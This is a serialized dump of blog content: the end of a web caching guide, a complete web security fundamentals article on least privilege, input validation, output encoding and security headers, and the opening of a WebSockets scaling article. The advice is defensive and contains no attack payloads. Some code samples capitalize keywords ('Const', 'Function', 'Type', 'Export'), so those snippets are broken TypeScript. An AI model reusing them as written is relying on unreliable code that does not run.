configuration:",[583,5425,5426,5432,5438,5447,5453],{},[586,5427,5428,5431],{},[40,5429,5430],{},"/assets/*"," (hashed filenames) → cache forever, respect origin Cache-Control headers",[586,5433,5434,5437],{},[40,5435,5436],{},"/images/*"," → cache for 7-30 days, convert to WebP if requested",[586,5439,5440,483,5443,5446],{},[40,5441,5442],{},"/_nuxt/*",[40,5444,5445],{},"/_next/*"," → cache forever (framework assets with content hashes)",[586,5448,5449,5452],{},[40,5450,5451],{},"/api/*"," → don't cache (or cache very selectively with short TTLs)",[586,5454,5455,5458,5459,5461],{},[40,5456,5457],{},"/*"," (HTML) → cache ",[40,5460,5347],{}," policy (revalidate, but serve stale if origin is down)",[19,5463,5464,5467],{},[5027,5465,5466],{},"Cache invalidation."," When you deploy a new version, how does the CDN know to serve the new HTML? Options:",[583,5469,5470,5473,5476],{},[586,5471,5472],{},"Purge by URL: explicitly tell the CDN to invalidate specific URLs after deployment",[586,5474,5475],{},"Stale-while-revalidate: serve the stale version immediately while fetching the new version in the background",[586,5477,5478],{},"Cache-busting URLs: include a deployment ID in your HTML URL (non-standard, messy)",[19,5480,5481],{},"Most production deployments purge HTML files on deploy (via CDN API in the deployment pipeline) and rely on content-hashed assets for everything else.",[19,5483,5484,5487,5488,5491],{},[5027,5485,5486],{},"Vary header for content negotiation."," If you serve different content based on request headers (e.g., different image formats based on ",[40,5489,5490],{},"Accept: image/avif","), you need to configure the CDN to cache separate versions:",[79,5493,5496],{"className":5494,"code":5495,"language":5388},[5386],"Vary: Accept-Encoding, Accept\n",[40,5497,5495],{"__ignoreMap":84},[19,5499,5500],{},"Without this, the CDN might serve a WebP image to a browser that requested AVIF, or GZIP-compressed content to a client that can't decompress it.",[565,5502],{},[26,5504,5506],{"id":5505},"application-level-caching","Application-Level Caching",[19,5508,5509],{},"When your API endpoints are slow because of database queries, application-level caching (Redis, Memcached) reduces the database load and improves response times.",[19,5511,5512],{},[5027,5513,5514],{},"The caching patterns:",[19,5516,5517,5520],{},[5027,5518,5519],{},"Cache-aside (lazy loading):"," Check the cache first. If not found, query the database, store the result in cache, return the result.",[79,5522,5524],{"className":81,"code":5523,"language":83,"meta":84,"style":84},"async function getUser(userId: string) {\n const cacheKey = `user:${userId}`\n const cached = await redis.get(cacheKey)\n if (cached) return JSON.parse(cached)\n\n const user = await db.users.findUnique({ where: { id: userId } })\n await redis.set(cacheKey, JSON.stringify(user), 'EX', 300) // 5 min TTL\n return user\n}\n",[40,5525,5526,5545,5561,5581,5599,5603,5622,5656,5663],{"__ignoreMap":84},[88,5527,5528,5530,5532,5535,5537,5539,5541,5543],{"class":90,"line":91},[88,5529,125],{"class":94},[88,5531,128],{"class":94},[88,5533,5534],{"class":131}," getUser",[88,5536,135],{"class":98},[88,5538,1488],{"class":138},[88,5540,142],{"class":94},[88,5542,146],{"class":145},[88,5544,774],{"class":98},[88,5546,5547,5549,5552,5554,5557,5559],{"class":90,"line":112},[88,5548,169],{"class":94},[88,5550,5551],{"class":145}," cacheKey",[88,5553,175],{"class":94},[88,5555,5556],{"class":105}," `user:${",[88,5558,1488],{"class":98},[88,5560,3473],{"class":105},[88,5562,5563,5565,5568,5570,5572,5575,5578],{"class":90,"line":119},[88,5564,169],{"class":94},[88,5566,5567],{"class":145}," cached",[88,5569,175],{"class":94},[88,5571,178],{"class":94},[88,5573,5574],{"class":98}," redis.",[88,5576,5577],{"class":131},"get",[88,5579,5580],{"class":98},"(cacheKey)\n",[88,5582,5583,5585,5588,5590,5592,5594,5596],{"class":90,"line":166},[88,5584,1122],{"class":94},[88,5586,5587],{"class":98}," (cached) ",[88,5589,3612],{"class":94},[88,5591,1053],{"class":145},[88,5593,393],{"class":98},[88,5595,1058],{"class":131},[88,5597,5598],{"class":98},"(cached)\n",[88,5600,5601],{"class":90,"line":191},[88,5602,116],{"emptyLinePlaceholder":115},[88,5604,5605,5607,5609,5611,5613,5616,5619],{"class":90,"line":208},[88,5606,169],{"class":94},[88,5608,1508],{"class":145},[88,5610,175],{"class":94},[88,5612,178],{"class":94},[88,5614,5615],{"class":98}," db.users.",[88,5617,5618],{"class":131},"findUnique",[88,5620,5621],{"class":98},"({ where: { id: userId } })\n",[88,5623,5624,5626,5628,5631,5634,5636,5638,5640,5643,5646,5648,5651,5653],{"class":90,"line":509},[88,5625,178],{"class":94},[88,5627,5574],{"class":98},[88,5629,5630],{"class":131},"set",[88,5632,5633],{"class":98},"(cacheKey, ",[88,5635,1253],{"class":145},[88,5637,393],{"class":98},[88,5639,1258],{"class":131},[88,5641,5642],{"class":98},"(user), ",[88,5644,5645],{"class":105},"'EX'",[88,5647,483],{"class":98},[88,5649,5650],{"class":145},"300",[88,5652,728],{"class":98},[88,5654,5655],{"class":346},"// 5 min TTL\n",[88,5657,5658,5660],{"class":90,"line":520},[88,5659,194],{"class":94},[88,5661,5662],{"class":98}," user\n",[88,5664,5665],{"class":90,"line":526},[88,5666,211],{"class":98},[19,5668,5669,5672],{},[5027,5670,5671],{},"Write-through:"," Update the cache when you update the database, so the cache is always current.",[19,5674,5675,5678],{},[5027,5676,5677],{},"Cache invalidation:"," The hard problem. When a user's record updates, you need to invalidate the cached version. Options: TTL-based expiry (accept some staleness), explicit invalidation on write (update the cache when you update the database), or event-driven invalidation.",[19,5680,5681],{},[5027,5682,5683],{},"What's worth caching:",[583,5685,5686,5689,5692,5695],{},[586,5687,5688],{},"Query results that are expensive to compute and infrequently changing (user preferences, product catalogs)",[586,5690,5691],{},"API responses that aggregate data from multiple database queries",[586,5693,5694],{},"Session data",[586,5696,5697],{},"Rate limit counters (Redis TTL makes this natural)",[19,5699,5700],{},[5027,5701,5702],{},"What's not worth caching:",[583,5704,5705,5708,5711],{},[586,5706,5707],{},"Simple primary-key lookups (fast enough without cache, complex invalidation)",[586,5709,5710],{},"User-specific data that changes frequently (cache hit rate will be low)",[586,5712,5713],{},"Data with complex invalidation logic that's error-prone to implement correctly",[565,5715],{},[26,5717,5719],{"id":5718},"stale-while-revalidate","Stale-While-Revalidate",[19,5721,1821,5722,5724],{},[40,5723,5718],{}," cache directive is one of the most useful modern caching primitives. It allows serving a stale cached response immediately while refreshing the cache in the background:",[79,5726,5729],{"className":5727,"code":5728,"language":5388},[5386],"Cache-Control: max-age=60, stale-while-revalidate=300\n",[40,5730,5728],{"__ignoreMap":84},[19,5732,5733],{},"This means: serve this response from cache for 60 seconds. After 60 seconds, if the cache is stale, serve the stale version immediately (for up to 5 minutes) while fetching a fresh version in the background. The user gets a fast response; the cache gets updated asynchronously.",[19,5735,5736],{},"This is particularly valuable for data that changes periodically (news feeds, product listings) where you want performance without excessive staleness. The user never waits for a cache miss; they might see data that's a few minutes old, but the next request will have fresh data.",[565,5738],{},[26,5740,5742],{"id":5741},"service-workers-for-offline-and-advanced-caching","Service Workers for Offline and Advanced Caching",[19,5744,5745],{},"Service workers are JavaScript processes that run in the browser background and can intercept network requests. They enable:",[583,5747,5748,5751,5754],{},[586,5749,5750],{},"Offline support (serve cached content when offline)",[586,5752,5753],{},"Custom caching strategies per request type",[586,5755,5756],{},"Background sync for deferred network operations",[19,5758,5759],{},"For most web applications, service workers are overkill for pure performance optimization — HTTP caching and CDN are more straightforward and easier to reason about. Service workers become valuable for PWAs that need offline support or apps with very specific per-resource caching requirements.",[565,5761],{},[19,5763,5764,5765,393],{},"Caching is one of the oldest performance techniques in the web developer's toolkit, and it's still the most impactful. Getting HTTP headers right, configuring the CDN correctly, and adding application-level caching where it matters can cut your server load and page load times dramatically. If you're diagnosing performance issues and want to evaluate your caching strategy, book a call at ",[571,5766,3126],{"href":573,"rel":5767},[575],[565,5769],{},[26,5771,581],{"id":580},[583,5773,5774,5780,5786,5792],{},[586,5775,5776],{},[571,5777,5779],{"href":5778},"/blog/redis-caching-guide","Redis Caching Strategies: When and How to Cache in Production",[586,5781,5782],{},[571,5783,5785],{"href":5784},"/blog/load-testing-guide","Load Testing Your Application: Tools, Strategies, and What the Numbers Mean",[586,5787,5788],{},[571,5789,5791],{"href":5790},"/blog/core-web-vitals-optimization","Core Web Vitals Optimization: A Developer's Complete Guide",[586,5793,5794],{},[571,5795,5797],{"href":5796},"/blog/database-indexing-strategies","Database Indexing Strategies That Actually Make Queries Fast",[611,5799,5800],{},"html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":84,"searchDepth":119,"depth":119,"links":5802},[5803,5804,5805,5806,5807,5808,5809],{"id":5269,"depth":112,"text":5270},{"id":5308,"depth":112,"text":5309},{"id":5413,"depth":112,"text":5414},{"id":5505,"depth":112,"text":5506},{"id":5718,"depth":112,"text":5719},{"id":5741,"depth":112,"text":5742},{"id":580,"depth":112,"text":581},"Caching is the fastest page you can serve. Here's a practical guide to HTTP caching headers, CDN configuration, and application-level caching strategies that actually work.",[5812,5813],"web app caching strategies","HTTP caching",{},"/blog/web-caching-strategies",{"title":5263,"description":5810},"blog/web-caching-strategies",[5819,5820,5821],"Performance","Caching","CDN","fu8Jr4uaq9SM8V2y2PA0y50wEAlq5i-fHuxg-hqtIAU",{"id":5824,"title":5825,"author":5826,"body":5827,"category":6334,"date":627,"description":6335,"extension":629,"featured":630,"image":631,"keywords":6336,"meta":6339,"navigation":115,"path":6340,"readTime":509,"seo":6341,"stem":6342,"tags":6343,"__hash__":6348},"blog/blog/web-security-fundamentals.md","Web Security Fundamentals Every Developer Should Know",{"name":9,"bio":10},{"type":12,"value":5828,"toc":6322},[5829,5832,5835,5838,5842,5845,5848,5851,5857,5860,5864,5867,5870,5873,5876,5880,5883,5886,5893,5896,5900,5903,5906,6140,6143,6147,6150,6171,6174,6177,6180,6183,6194,6198,6201,6204,6207,6210,6214,6217,6255,6258,6262,6265,6268,6271,6275,6278,6281,6283,6289,6291,6293,6319],[15,5830,5825],{"id":5831},"web-security-fundamentals-every-developer-should-know",[19,5833,5834],{},"Security gets treated as a specialty discipline — something the \"security team\" handles, something you bolt on at the end of a project, something that requires a dedicated expert. This framing is why most web application vulnerabilities exist. The reality is that the vast majority of web security issues are preventable by application developers applying consistent, learnable practices. No security clearance required.",[19,5836,5837],{},"I have reviewed enough codebases to have a clear picture of where vulnerabilities come from. They come from developers who did not think about what an attacker would do with their code. The fix is not adding a security specialist to your team. The fix is changing how you think about the code you write.",[26,5839,5841],{"id":5840},"think-like-an-attacker-without-being-one","Think Like an Attacker (Without Being One)",[19,5843,5844],{},"The most fundamental shift in security thinking is adopting an adversarial perspective on your own code. For every piece of functionality you build, ask: how would a malicious user try to abuse this?",[19,5846,5847],{},"For a login form: what happens if someone submits 10,000 login attempts with different passwords? What happens if someone submits a username that is 10 megabytes long? What happens if someone submits SQL in the username field?",[19,5849,5850],{},"For a file upload: what happens if someone uploads a PHP script instead of an image? What if they upload a valid JPEG with malicious JavaScript embedded in the EXIF data? What if they upload a 5GB file?",[19,5852,5853,5854,5856],{},"For an API endpoint that returns user data: what happens if a user changes the ",[40,5855,1488],{}," parameter to someone else's ID? What if they send a negative number? What if they send a string instead of an integer?",[19,5858,5859],{},"These are not exotic edge cases. They are the first things an attacker tries, and they regularly work on applications that were never tested with adversarial inputs.",[26,5861,5863],{"id":5862},"the-principle-of-least-privilege","The Principle of Least Privilege",[19,5865,5866],{},"Every component of your system — database users, application processes, API keys, IAM roles — should have access to exactly what it needs to perform its function, nothing more.",[19,5868,5869],{},"Your API's database user should have SELECT, INSERT, UPDATE, and DELETE on the specific tables it uses. It should not have DROP TABLE, CREATE USER, or access to system tables. If an attacker achieves SQL injection through your API, a properly restricted database user limits the damage significantly — they cannot delete all your tables or create backdoor accounts.",[19,5871,5872],{},"Your application process should run as a non-root user. Your container should not have the Docker socket mounted. Your S3 bucket for user avatars should have a policy that permits writes from your application and reads from anyone, but not permission to delete or create new buckets.",[19,5874,5875],{},"Least privilege is not paranoia. It is the difference between a security incident that is contained and one that is catastrophic.",[26,5877,5879],{"id":5878},"defense-in-depth","Defense in Depth",[19,5881,5882],{},"No single security control is sufficient. Defense in depth means layering multiple controls so that bypassing one does not give an attacker everything.",[19,5884,5885],{},"Consider user-uploaded files. A single control approach: you check the file extension. Defense in depth: check the file extension, check the MIME type from the content-type header, read the file's magic bytes to validate its actual type, store uploaded files outside the web root so they cannot be executed as server-side scripts, scan files with an antivirus service, serve uploaded files from a separate domain or subdomain, set Content-Disposition: attachment so browsers download rather than execute them.",[19,5887,5888,5889,5892],{},"An attacker who bypasses your extension check — renaming a PHP file to ",[40,5890,5891],{},"avatar.jpg"," — still cannot execute it because the file is not in a web-accessible directory and the server is not configured to execute scripts from the upload directory.",[19,5894,5895],{},"Each control adds work for the attacker. Bypassing all of them is much harder than bypassing one.",[26,5897,5899],{"id":5898},"input-validation-validate-everything","Input Validation: Validate Everything",[19,5901,5902],{},"All user input is untrusted. This includes form fields, query parameters, URL path segments, HTTP headers, JSON request bodies, file contents, and cookies. Any data that comes from outside your application must be validated before you do anything with it.",[19,5904,5905],{},"Validation means: confirming the data is the expected type, confirming it is within acceptable length and format constraints, and rejecting anything that does not meet those constraints with a clear error.",[79,5907,5909],{"className":81,"code":5908,"language":83,"meta":84,"style":84},"import { z } from \"zod\";\n\nConst createUserSchema = z.object({\n email: z.string().email().max(255),\n username: z.string().min(3).max(50).regex(/^[a-zA-Z0-9_-]+$/),\n age: z.number().int().min(13).max(120).optional(),\n});\n\nFunction validateCreateUser(input: unknown) {\n const result = createUserSchema.safeParse(input);\n if (!result.success) {\n throw new ValidationError(result.error.flatten());\n }\n return result.data;\n}\n",[40,5910,5911,5925,5929,5945,5970,6020,6058,6062,6066,6077,6095,6106,6125,6129,6136],{"__ignoreMap":84},[88,5912,5913,5915,5918,5920,5923],{"class":90,"line":91},[88,5914,95],{"class":94},[88,5916,5917],{"class":98}," { z } ",[88,5919,102],{"class":94},[88,5921,5922],{"class":105}," \"zod\"",[88,5924,109],{"class":98},[88,5926,5927],{"class":90,"line":112},[88,5928,116],{"emptyLinePlaceholder":115},[88,5930,5931,5934,5936,5939,5942],{"class":90,"line":119},[88,5932,5933],{"class":98},"Const createUserSchema ",[88,5935,805],{"class":94},[88,5937,5938],{"class":98}," z.",[88,5940,5941],{"class":131},"object",[88,5943,5944],{"class":98},"({\n",[88,5946,5947,5950,5952,5955,5958,5960,5963,5965,5968],{"class":90,"line":166},[88,5948,5949],{"class":98}," email: z.",[88,5951,1498],{"class":131},[88,5953,5954],{"class":98},"().",[88,5956,5957],{"class":131},"email",[88,5959,5954],{"class":98},[88,5961,5962],{"class":131},"max",[88,5964,135],{"class":98},[88,5966,5967],{"class":145},"255",[88,5969,2698],{"class":98},[88,5971,5972,5975,5977,5979,5982,5984,5987,5990,5992,5994,5997,5999,6002,6004,6007,6010,6013,6016,6018],{"class":90,"line":191},[88,5973,5974],{"class":98}," username: z.",[88,5976,1498],{"class":131},[88,5978,5954],{"class":98},[88,5980,5981],{"class":131},"min",[88,5983,135],{"class":98},[88,5985,5986],{"class":145},"3",[88,5988,5989],{"class":98},").",[88,5991,5962],{"class":131},[88,5993,135],{"class":98},[88,5995,5996],{"class":145},"50",[88,5998,5989],{"class":98},[88,6000,6001],{"class":131},"regex",[88,6003,135],{"class":98},[88,6005,6006],{"class":105},"/",[88,6008,6009],{"class":94},"^",[88,6011,6012],{"class":145},"[a-zA-Z0-9_-]",[88,6014,6015],{"class":94},"+$",[88,6017,6006],{"class":105},[88,6019,2698],{"class":98},[88,6021,6022,6025,6027,6029,6032,6034,6036,6038,6041,6043,6045,6047,6050,6052,6055],{"class":90,"line":208},[88,6023,6024],{"class":98}," age: z.",[88,6026,4552],{"class":131},[88,6028,5954],{"class":98},[88,6030,6031],{"class":131},"int",[88,6033,5954],{"class":98},[88,6035,5981],{"class":131},[88,6037,135],{"class":98},[88,6039,6040],{"class":145},"13",[88,6042,5989],{"class":98},[88,6044,5962],{"class":131},[88,6046,135],{"class":98},[88,6048,6049],{"class":145},"120",[88,6051,5989],{"class":98},[88,6053,6054],{"class":131},"optional",[88,6056,6057],{"class":98},"(),\n",[88,6059,6060],{"class":90,"line":509},[88,6061,411],{"class":98},[88,6063,6064],{"class":90,"line":520},[88,6065,116],{"emptyLinePlaceholder":115},[88,6067,6068,6071,6074],{"class":90,"line":526},[88,6069,6070],{"class":98},"Function ",[88,6072,6073],{"class":131},"validateCreateUser",[88,6075,6076],{"class":98},"(input: unknown) {\n",[88,6078,6079,6081,6084,6086,6089,6092],{"class":90,"line":532},[88,6080,169],{"class":94},[88,6082,6083],{"class":145}," result",[88,6085,175],{"class":94},[88,6087,6088],{"class":98}," createUserSchema.",[88,6090,6091],{"class":131},"safeParse",[88,6093,6094],{"class":98},"(input);\n",[88,6096,6097,6099,6101,6103],{"class":90,"line":815},[88,6098,1122],{"class":94},[88,6100,717],{"class":98},[88,6102,2208],{"class":94},[88,6104,6105],{"class":98},"result.success) {\n",[88,6107,6108,6111,6113,6116,6119,6122],{"class":90,"line":858},[88,6109,6110],{"class":94}," throw",[88,6112,971],{"class":94},[88,6114,6115],{"class":131}," ValidationError",[88,6117,6118],{"class":98},"(result.error.",[88,6120,6121],{"class":131},"flatten",[88,6123,6124],{"class":98},"());\n",[88,6126,6127],{"class":90,"line":882},[88,6128,523],{"class":98},[88,6130,6131,6133],{"class":90,"line":906},[88,6132,194],{"class":94},[88,6134,6135],{"class":98}," result.data;\n",[88,6137,6138],{"class":90,"line":936},[88,6139,211],{"class":98},[19,6141,6142],{},"Validation is not sanitization. Sanitization is transforming input (removing HTML tags, escaping special characters). Validation is checking whether input meets your requirements and rejecting it if not. Both have their place — prefer validation for most cases, and use sanitization carefully with a clear understanding of what it does and does not protect against.",[26,6144,6146],{"id":6145},"output-encoding","Output Encoding",[19,6148,6149],{},"Just as all input is untrusted, all output that includes untrusted data must be encoded for the context it is being placed into.",[19,6151,6152,6153,6156,6157,483,6160,6156,6162,483,6165,6156,6168,5989],{},"Data placed into HTML must have HTML special characters encoded (",[40,6154,6155],{},"&"," becomes ",[40,6158,6159],{},"&amp;",[40,6161,157],{},[40,6163,6164],{},"&lt;",[40,6166,6167],{},"\"",[40,6169,6170],{},"&quot;",[19,6172,6173],{},"Data placed into a JavaScript string context must have JavaScript special characters escaped.",[19,6175,6176],{},"Data placed into a SQL query must use parameterized queries — never string concatenation.",[19,6178,6179],{},"Data placed into an OS command must be escaped for shell interpretation — or better, never put untrusted data into shell commands at all.",[19,6181,6182],{},"The context matters. HTML encoding does not protect you in a JavaScript context. SQL escaping does not protect you in a shell context. Use context-appropriate encoding.",[19,6184,6185,6186,6189,6190,6193],{},"Modern frameworks handle most of this automatically. React escapes output by default. Prisma uses parameterized queries. The dangerous paths are when you bypass these defaults: ",[40,6187,6188],{},"dangerouslySetInnerHTML"," in React, raw query execution in your ORM, ",[40,6191,6192],{},"exec()"," in Node.js.",[26,6195,6197],{"id":6196},"authentication-and-sessions-the-basics","Authentication and Sessions: The Basics",[19,6199,6200],{},"Authentication is identifying who a user is. Authorization is determining what they can do. Conflating them is a common source of security vulnerabilities.",[19,6202,6203],{},"For authentication: use a battle-tested library rather than building your own. Password hashing should use bcrypt, Argon2, or scrypt — not SHA-256, MD5, or any fast hashing algorithm. Session tokens should be generated with a cryptographically secure random number generator, not sequential IDs or guessable values.",[19,6205,6206],{},"For sessions: store session data server-side (or in a signed, encrypted cookie). Session tokens should be long (128 bits of entropy minimum), expire after a reasonable period, and be invalidated on logout. Transmit session tokens only over HTTPS.",[19,6208,6209],{},"For authorization: check permissions for every request, not just at the route level. An authorization check at the route level that passes a user ID through to a database query without verifying that user ID belongs to the authenticated user is a broken access control vulnerability.",[26,6211,6213],{"id":6212},"security-headers","Security Headers",[19,6215,6216],{},"HTTP security headers tell browsers how to handle your content and provide a line of defense against several classes of attacks. They cost nothing to add and provide real protection:",[583,6218,6219,6225,6231,6237,6243,6249],{},[586,6220,6221,6224],{},[40,6222,6223],{},"Content-Security-Policy"," — controls which resources the browser can load (prevents XSS)",[586,6226,6227,6230],{},[40,6228,6229],{},"X-Frame-Options: DENY"," — prevents your pages from being embedded in iframes (prevents clickjacking)",[586,6232,6233,6236],{},[40,6234,6235],{},"X-Content-Type-Options: nosniff"," — prevents browsers from MIME-sniffing responses",[586,6238,6239,6242],{},[40,6240,6241],{},"Strict-Transport-Security"," — forces HTTPS connections",[586,6244,6245,6248],{},[40,6246,6247],{},"Referrer-Policy"," — controls how much information is sent in the Referrer header",[586,6250,6251,6254],{},[40,6252,6253],{},"Permissions-Policy"," — disables browser features your site does not use",[19,6256,6257],{},"Add these to every response. Most web frameworks and server configurations make this straightforward with a middleware or config block.",[26,6259,6261],{"id":6260},"error-messages-and-information-leakage","Error Messages and Information Leakage",[19,6263,6264],{},"Production error messages should not include stack traces, database query details, internal file paths, or any other information about your implementation. These details are useful for debugging — and equally useful for attackers mapping your system.",[19,6266,6267],{},"Show users a generic error message. Log the detailed error server-side where only you can see it. The user gets \"Something went wrong, please try again.\" Your logs get the full stack trace, query details, and request context.",[19,6269,6270],{},"This applies to authentication error messages too. \"Incorrect password\" confirms to an attacker that the username exists. \"Invalid credentials\" does not. This is a minor security improvement — usability often warrants being more specific — but it is worth knowing about.",[26,6272,6274],{"id":6273},"the-security-mindset","The Security Mindset",[19,6276,6277],{},"Security is not a checklist you complete. It is a perspective you maintain throughout development. Every time you add a new feature, ask the adversarial questions. Every time you handle user data, apply least privilege and defense in depth. Every time you process input, validate it. Every time you generate output, encode it correctly.",[19,6279,6280],{},"These habits take effort to build and become second nature over time. The developers who write the most secure code are not necessarily the most technically sophisticated — they are the ones who have internalized the adversarial perspective.",[565,6282],{},[19,6284,6285,6286,393],{},"If you want a security review of your application or help building security practices into your development process, book a session at ",[571,6287,573],{"href":573,"rel":6288},[575],[565,6290],{},[26,6292,581],{"id":580},[583,6294,6295,6301,6307,6313],{},[586,6296,6297],{},[571,6298,6300],{"href":6299},"/blog/owasp-top-10-explained","OWASP Top 10 Explained: What Developers Actually Need to Understand",[586,6302,6303],{},[571,6304,6306],{"href":6305},"/blog/security-headers-web-apps","Security Headers for Web Applications: The Complete Configuration Guide",[586,6308,6309],{},[571,6310,6312],{"href":6311},"/blog/security-testing-web-apps","Security Testing for Web Applications: What to Test and How",[586,6314,6315],{},[571,6316,6318],{"href":6317},"/blog/csrf-protection-guide","CSRF Protection: Understanding Cross-Site Request Forgery and Stopping It",[611,6320,6321],{},"html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":84,"searchDepth":119,"depth":119,"links":6323},[6324,6325,6326,6327,6328,6329,6330,6331,6332,6333],{"id":5840,"depth":112,"text":5841},{"id":5862,"depth":112,"text":5863},{"id":5878,"depth":112,"text":5879},{"id":5898,"depth":112,"text":5899},{"id":6145,"depth":112,"text":6146},{"id":6196,"depth":112,"text":6197},{"id":6212,"depth":112,"text":6213},{"id":6260,"depth":112,"text":6261},{"id":6273,"depth":112,"text":6274},{"id":580,"depth":112,"text":581},"Security","The web security fundamentals every developer needs — threat modeling, the attacker's perspective, defense in depth, and the mindset shift that makes secure code second nature.",[6337,6338],"web security fundamentals","web application security",{},"/blog/web-security-fundamentals",{"title":5825,"description":6335},"blog/web-security-fundamentals",[6344,6345,6346,6347],"Web Security","Security Fundamentals","Development","Best Practices","2awPJ4s3Cq3ZMPb0sfMrMcg9fChek3FH1VaAhNweH5k",{"id":6350,"title":6351,"author":6352,"body":6353,"category":9415,"date":627,"description":9416,"extension":629,"featured":630,"image":631,"keywords":9417,"meta":9420,"navigation":115,"path":9421,"readTime":509,"seo":9422,"stem":9423,"tags":9424,"__hash__":9426},"blog/blog/websockets-realtime.md","WebSockets for Real-Time Features: Architecture and Scaling",{"name":9,"bio":10},{"type":12,"value":6354,"toc":9404},[6355,6358,6361,6365,6368,6374,6380,6386,6390,6393,7101,7105,7108,7113,7318,7323,7536,7539,7543,7546,7549,7553,7925,7928,8025,8029,8032,8345,8349,8352,8714,8717,8939,8943,9360,9363,9365,9371,9373,9375,9401],[19,6356,6357],{},"Real-time features — live notifications, collaborative editing, live dashboards, chat — require persistent connections between client and server. WebSockets provide this persistent, bidirectional connection. The implementation is not particularly complicated for a single server. The challenge is what happens when you need more than one server.",[19,6359,6360],{},"This article walks through WebSocket implementation and the architectural patterns that make real-time features work at scale.",[26,6362,6364],{"id":6363},"when-websockets-vs-sse-vs-polling","When WebSockets vs SSE vs Polling",[19,6366,6367],{},"Before choosing WebSockets, confirm they are the right tool:",[19,6369,6370,6373],{},[5027,6371,6372],{},"Server-Sent Events (SSE)"," is simpler when communication is one-directional (server to client only). Live dashboard updates, news feeds, notification streams — SSE handles these with less complexity. SSE is HTTP, works through proxies and CDNs, and has built-in reconnection.",[19,6375,6376,6379],{},[5027,6377,6378],{},"Long polling"," is the fallback when WebSockets are not available. The client makes an HTTP request, the server holds it open until there is data, then responds and the client immediately makes another request. It works everywhere but is less efficient than WebSockets for high-frequency updates.",[19,6381,6382,6385],{},[5027,6383,6384],{},"WebSockets"," are the right choice when: bidirectional communication is needed (both client sends and server sends), you need low latency for high-frequency updates, or you need to push to specific clients.",[26,6387,6389],{"id":6388},"websocket-server-setup","WebSocket Server Setup",[19,6391,6392],{},"With Hono and the built-in WebSocket helper:",[79,6394,6396],{"className":81,"code":6395,"language":83,"meta":84,"style":84},"// server/api/ws.ts\nimport { Hono } from 'hono'\nimport { upgradeWebSocket } from 'hono/ws'\n\nType ConnectionMap = Map\u003Cstring, Set\u003CWebSocket>>\n\nConst rooms: ConnectionMap = new Map()\n\nExport const wsRouter = new Hono()\n\nWsRouter.get(\n '/ws/rooms/:roomId',\n requireAuthWs,\n upgradeWebSocket((c) => {\n const roomId = c.req.param('roomId')\n const userId = c.get('userId')\n\n return {\n onOpen(event, ws) {\n // Add connection to room\n if (!rooms.has(roomId)) rooms.set(roomId, new Set())\n rooms.get(roomId)!.add(ws.raw)\n\n // Notify others in the room\n broadcastToRoom(roomId, {\n type: 'user.joined',\n userId,\n timestamp: new Date().toISOString(),\n }, ws.raw)\n },\n\n onMessage(event, ws) {\n const message = JSON.parse(event.data as string)\n handleMessage(message, roomId, userId, ws)\n },\n\n onClose(event, ws) {\n // Remove connection from room\n rooms.get(roomId)?.delete(ws.raw)\n if (rooms.get(roomId)?.size === 0) rooms.delete(roomId)\n\n broadcastToRoom(roomId, {\n type: 'user.left',\n userId,\n timestamp: new Date().toISOString(),\n })\n },\n\n onError(event, ws) {\n console.error('WebSocket error:', event)\n rooms.get(roomId)?.delete(ws.raw)\n },\n }\n })\n)\n\nFunction broadcastToRoom(\n roomId: string,\n message: unknown,\n exclude?: WebSocket\n) {\n const connections = rooms.get(roomId)\n if (!connections) return\n\n const payload = JSON.stringify(message)\n for (const ws of connections) {\n if (ws !== exclude && ws.readyState === WebSocket.OPEN) {\n ws.send(payload)\n }\n }\n}\n",[40,6397,6398,6403,6415,6427,6431,6454,6458,6477,6481,6499,6503,6512,6519,6524,6540,6562,6581,6585,6591,6607,6612,6642,6662,6666,6671,6679,6689,6694,6711,6716,6720,6724,6738,6763,6771,6775,6779,6794,6799,6813,6837,6841,6847,6856,6860,6874,6878,6882,6886,6901,6916,6928,6932,6936,6940,6944,6948,6957,6962,6967,6977,6981,6996,7009,7013,7031,7049,7075,7086,7091,7096],{"__ignoreMap":84},[88,6399,6400],{"class":90,"line":91},[88,6401,6402],{"class":346},"// server/api/ws.ts\n",[88,6404,6405,6407,6410,6412],{"class":90,"line":112},[88,6406,95],{"class":94},[88,6408,6409],{"class":98}," { Hono } ",[88,6411,102],{"class":94},[88,6413,6414],{"class":105}," 'hono'\n",[88,6416,6417,6419,6422,6424],{"class":90,"line":119},[88,6418,95],{"class":94},[88,6420,6421],{"class":98}," { upgradeWebSocket } ",[88,6423,102],{"class":94},[88,6425,6426],{"class":105}," 'hono/ws'\n",[88,6428,6429],{"class":90,"line":166},[88,6430,116],{"emptyLinePlaceholder":115},[88,6432,6433,6436,6438,6441,6443,6446,6448,6451],{"class":90,"line":191},[88,6434,6435],{"class":98},"Type ConnectionMap ",[88,6437,805],{"class":94},[88,6439,6440],{"class":98}," Map",[88,6442,157],{"class":94},[88,6444,6445],{"class":98},"string, 